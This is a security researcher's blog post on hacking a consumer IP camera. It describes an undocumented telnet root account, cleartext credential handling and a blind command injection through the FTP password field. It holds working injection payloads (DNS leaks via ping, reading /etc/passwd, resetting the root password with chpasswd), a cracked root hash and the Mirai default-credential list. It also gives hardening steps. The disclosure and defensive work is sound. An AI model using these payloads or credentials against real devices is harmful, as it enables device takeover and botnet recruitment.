#ip webcam

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch it's output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course.

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password is sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in "C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong and China. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.

PORT     STATE SERVICE    VERSION 23/tcp   open  telnet     BusyBox telnetd 81/tcp   open  http       GoAhead-Webs httpd | http-auth: | HTTP/1.1 401 Unauthorized |_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81 |_http-methods: No Allow or Public header in OPTIONS response (status code 400) |_http-title: Document Error: Unauthorized 8600/tcp open  tcpwrapped

The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27 page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately it was not working at all, I got invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems which made the exploitation harder. I call this vulnerability double blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleeps was not a real solution.But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:

$(ping%20-c%202%20%60pwd%60)

or cleaned up after URL decode:

$(ping -c 2 `pwd`)

but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

Following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name $(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row $(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters $(ping `cat /tmp/c`)           ;leak it via DNS

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried

commix

, as it looked promising on

Youtube

. Think commix like sqlmap, but for command injection. But this double blind hack was a bit too much for this automated tool unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.

$(echo 'root:passwd'|chpasswd)

Now, logging in via telnet

(none) login: root Password: BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. #

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh /system/system/bin/ftp -n<<! open ftp.site.com 21 user ftpuser $(echo 'root:passwd'|chpasswd) binary mkdir  PSD-111111-REDACT cd PSD-111111-REDACT lcd /tmp put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg close bye

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panick that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a

luggage password

.

It is time to recap what we have.

There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising.

My hardening list

I added these lines to the end of /system/init/ipcam.sh:

sleep 15 echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network, and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

Investigate the script /system/system/bin/gmail_thread

Investigate the cloud protocol * - see update 2016 10 27

Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr Robot you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality. If you are interested in generic ways to protect your home against IoT, read my previous blog post on this. Update: as you can see on the following screenshot, the bad guys already started to take advantege of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html Update 20161006: The Mirai source code has been leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs. root     xc3511 root     vizxv root     admin admin    admin root     888888 root     xmhdipc root     default root     juantech root     123456 root     54321 support  support root     (none) admin    password root     root root     12345 user     user admin    (none) root     pass admin    admin1234 root     1111 admin    smcadmin admin    1111 root     666666 root     password root     1234 root     klv123 Administrator admin service  service supervisor supervisor guest    guest guest    12345 guest    12345 admin1   password administrator 1234 666666   666666 888888   888888 ubnt     ubnt root     klv1234 root     Zte521 root     hi3518 root     jvbzd root     anko root     zlxx. root     7ujMko0vizxv root     7ujMko0admin root     system root     ikwb root     dreambox root     user root     realtek root     00000000 admin    1111111 admin    1234 admin    12345 admin    54321 admin    123456 admin    7ujMko0admin admin    1234 admin    pass admin    meinsm tech     tech mother   fucker Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera, if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, but now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included. Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8 Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a huge list of cameras (especially the InfoLeak and the RCE), which allow to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt Update 2017-05-11: CVE-2017-5674 (see above) and my command injection exploit was combined in the Persirai botnet. 120 000 cameras is expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously." This issue might be worse than the Mirai worm, because this effects cameras and other IoT behind NAT where UPNP was enabled. http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/